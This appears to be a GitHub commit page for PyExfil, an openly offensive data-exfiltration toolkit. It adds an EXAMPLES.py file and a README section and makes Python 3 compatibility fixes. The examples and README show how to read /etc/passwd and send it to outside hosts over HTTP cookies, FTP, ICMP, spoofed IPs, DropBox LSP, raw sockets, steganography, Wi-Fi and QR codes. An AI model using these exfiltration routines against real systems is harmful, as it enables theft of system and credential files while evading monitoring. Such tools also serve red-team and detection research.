Skip to content

Commit 03a91a4

Browse files
committed
fixes
1 parent 0569d88 commit 03a91a4

File tree

15 files changed

+151
-18
lines changed

15 files changed

+151
-18
lines changed

.gitignore

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,3 +7,8 @@ dev_zone/
77
.ropeproject/
88
.idea/
99
.git/
10+
PyExfil.egg-info/
11+
build/
12+
dist/
13+
__pycache__/
14+
*__pycache__/

EXAMPLES.py

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
#!/usr/bin/env python
2+
3+
import sys
4+
5+
6+
7+
FILE_TO_EXFIL = "/etc/passwd"
8+
9+
10+
11+
12+
""" NETWORK EXAMPLES """
13+
14+
15+
""" HTTP Cookies """
16+
# from pyexfil.network.HTTP_Cookies.http_exfiltration import send_file
17+
#
18+
# send_file(addr='http://www.morirt.com', file_path=FILE_TO_EXFIL)
19+
20+
21+
""" Source IP Based """
22+
# from pyexfil.network.FTP.ftp_exfil import FTPExfiltrator
23+
#
24+
# FTPexf = FTPExfiltrator(file2exfil=FILE_TO_EXFIL, server="8.8.8.8", port=21, creds=(), tls=False)
25+
# FTPexf.get_file_chunks()
26+
# FTPexf.build_final_chunks()
27+
# FTPexf.send_chunks()
28+
29+
30+
""" Source IP Based * """
31+
# from pyexfil.network.SpoofIP.spoofIPs_client import _send
32+
#
33+
# _send(file_path=FILE_TO_EXFIL, to="8.8.8.8")
34+
35+
36+
""" DropBox LSP """
37+
# # Can also be used to CNC communication inside network.
38+
# from pyexfil.network.DB_LSP.dblsp import DB_LSP
39+
#
40+
# dbLSP = DB_LSP(
41+
# cnc='192.168.1.255',
42+
# data=open(FILE_TO_EXFIL, 'rb').read(),
43+
# key="Donnie!"
44+
# )
45+
# dbLSP._Create()
46+
# dbLSP.Send()
47+
48+
49+
""" Exfiltration Over ICMP * """
50+
# from pyexfil.network.ICMP.icmp_exfiltration import send_file
51+
#
52+
# send_file( "8.8.8.8",
53+
# src_ip_addr="127.0.0.1",
54+
# file_path=FILE_TO_EXFIL,
55+
# max_packetsize=512,
56+
# SLEEP=0.1)
57+
58+
59+
""" STEGANOGRAPHY EXAMPLES """
60+
61+
""" Binary offset in file """
62+
from pyexfil.Stega.binoffset.binoffset import CreateExfiltrationFile
63+
64+
CreateExfiltrationFile(
65+
originalImage='pyexfil/Stega/binoffset/image.png',
66+
rawData=FILE_TO_EXFIL,
67+
OutputImage="/tmp/new.png")
68+
69+
70+
71+
72+
""" PHYSICAL EXAMPLES """
73+
74+
75+
""" Example for Wifi Payload """
76+
# from pyexfil.physical.wifiPayload.client import exfiltrate
77+
#
78+
# exfiltrate(FILE_TO_EXFIL)
79+
80+
""" Example for QRCode Exfiltration """
81+
# from pyexfil.physical.qr.generator import CreateQRs, PlayQRs
82+
# if CreateQRs(FILE_TO_EXFIL):
83+
# PlayQRs()
84+
# else:
85+
# sys.stderr.write("Something went wrong with creating QRs.\n")

README.md

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -338,6 +338,37 @@ DecodeExfiltrationFile(originalImage="base_"+originalImage, newImage="niceImage.
338338

339339
```
340340

341+
## Developers' Documentation
342+
343+
Please notice that although we have tried to keep this a collection of relatively separated stand alone modules so that converting them to static binaries for various operating systems would be as easy as possible, some things we have decided to turn into modules that would be shared across the board while attempting to keep is as depency free as possible. Such a component for now is `pyexfil/includes/prepare`. This module contains the methos of converting files (compressing, encrypting, encoding and splitting) into chunks ready to be sent or decoded.
344+
345+
You can use it in the following way:
346+
347+
```python
348+
from pyexfil.includes.prepare import PrepFile, RebuildFile, DecodePacket
349+
350+
proc = PrepFile('/etc/passwd', kind='binary') # will yield a dictionary
351+
352+
# Send the data over
353+
sock = socket.socket()
354+
sock.connect(('google.com', 443))
355+
for i in proc['Packets']:
356+
sock.send(i)
357+
sock.close()
358+
359+
# Rebuilding the data:
360+
conjoint = []
361+
for packet in proc['Packets']:
362+
b = DecodePacket(packet)
363+
conjoint.append(b)
364+
365+
# Verify and rebuild the file:
366+
print RebuildFile(conjoint)
367+
368+
369+
```
370+
371+
341372
## Future Stuff
342373
### Version Alpha
343374
- [X] Check why HTTP Cookie exfiltration keeps failing CRC checks. (Fixed in patch #7 by Sheksa)

pyexfil/Stega/binoffset/binoffset.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -144,6 +144,7 @@ def CreateExfiltrationFile(originalImage, rawData, OutputImage):
144144

145145
im2 = Image.new(img.mode, (ImageWidth, ImageHeight))
146146
im2.putdata(FinalPixels)
147+
open(OutputImage, 'wb').write("\x00") # Touching file as PIL does an append...
147148
im2.save(OutputImage)
148149
sys.stdout.write("\t[+] New image saved at '%s'.\n\n" % OutputImage)
149150

pyexfil/includes/prepare.py

Lines changed: 9 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,10 @@ def rc4(data, key):
4040

4141
def _splitString(stri, length):
4242
"""
43-
Split a string to specific blocked chunks
43+
Split string by a particular length.
44+
:param stri: String to split
45+
:param length: Length to split by, int
46+
:return: List
4447
"""
4548
def _f(s, n):
4649
while s:
@@ -49,7 +52,7 @@ def _f(s, n):
4952
if type(length) is not int:
5053
sys.stderr.write("'length' parameter must be an int.\n")
5154
return False
52-
if type(stri) is not str:
55+
if type(stri) is not str and type(stri) is not bytes:
5356
sys.stderr.write("'stri' parameter must be an string.\n")
5457
return False
5558
return list(_f(stri, length))
@@ -79,7 +82,7 @@ def DecodePacket(packet_data, enc_key=DEFAULT_KEY, b64_flag=False):
7982
if encryption:
8083
try:
8184
data = rc4(data, enc_key)
82-
except ValueError, e:
85+
except ValueError as e:
8386
sys.stderr.write("Data does not decrypt using the key you've provided.\n")
8487
sys.stderr.write("%s\n" % e)
8588
return False
@@ -141,7 +144,7 @@ def PrepFile(file_path, kind='binary', max_size=DEFAULT_MAX_PACKET_SIZE, enc_key
141144
f = open(file_path, 'rb')
142145
data = f.read()
143146
f.close()
144-
except IOError, e:
147+
except IOError as e:
145148
sys.stderr.write("Error opening file '%s'.\n" % file_path )
146149
return False
147150

@@ -202,7 +205,7 @@ def PrepFile(file_path, kind='binary', max_size=DEFAULT_MAX_PACKET_SIZE, enc_key
202205
# Every Packet
203206
i = 2
204207
for chunk in packetsData:
205-
thisPacket = seqID + delm + str(i) + delm + chunk
208+
thisPacket = "%s%s%s%s%s" % (seqID, delm, str(i), delm, chunk)
206209
if enc_key != "":
207210
thisPacket = rc4(thisPacket, enc_key)
208211
if kind == 'ascii':
@@ -285,7 +288,6 @@ def RebuildFile(packets_data):
285288
return ret
286289

287290

288-
289291
"""
290292
291293
How to Use:
@@ -318,6 +320,7 @@ def RebuildFile(packets_data):
318320
319321
"""
320322

323+
321324
if __name__ == "__main__":
322325
sys.stderr.write("Not a stand alone module.\n")
323326
sys.exit(1)

pyexfil/network/DB_LSP/dblsp.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -82,8 +82,9 @@ def Send(self):
8282
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
8383
else:
8484
s.bind(('', self.port))
85-
except:
85+
except socket.error, e:
8686
sys.stderr.write('Failed to create socket.\n')
87+
sys.stderr.write('%s\n' % e)
8788
return False
8889

8990
try:

pyexfil/network/FTP/ftp_exfil.py

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,6 @@
55
import zlib
66
import time
77
import base58
8-
import base64
9-
import socket
10-
import hexdump
118

129
from ftplib import FTP
1310
from ftplib import FTP_TLS

pyexfil/network/HTTP_Cookies/http_exfiltration.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -77,7 +77,7 @@ def send_file(addr, file_path, max_packet_size=1200, time_delay=0.05):
7777
time.sleep(time_delay)
7878
except:
7979
sys.stderr.write("Unable to reach target with error:\n")
80-
raise ()
80+
sys.exit(1)
8181

8282
# Send data
8383
current_chunk = 0
@@ -219,4 +219,4 @@ def eth_addr(a):
219219

220220

221221
if __name__ == "__main__":
222-
sys.stdout.write("This is meant to be a module for python and not a stand alone executable\n")
222+
sys.stdout.write("This is meant to be a module for python and not a stand alone executable\n")

pyexfil/network/__init__.py

Whitespace-only changes.

pyexfil/physical/__init__.py

Whitespace-only changes.

0 commit comments

Comments
 (0)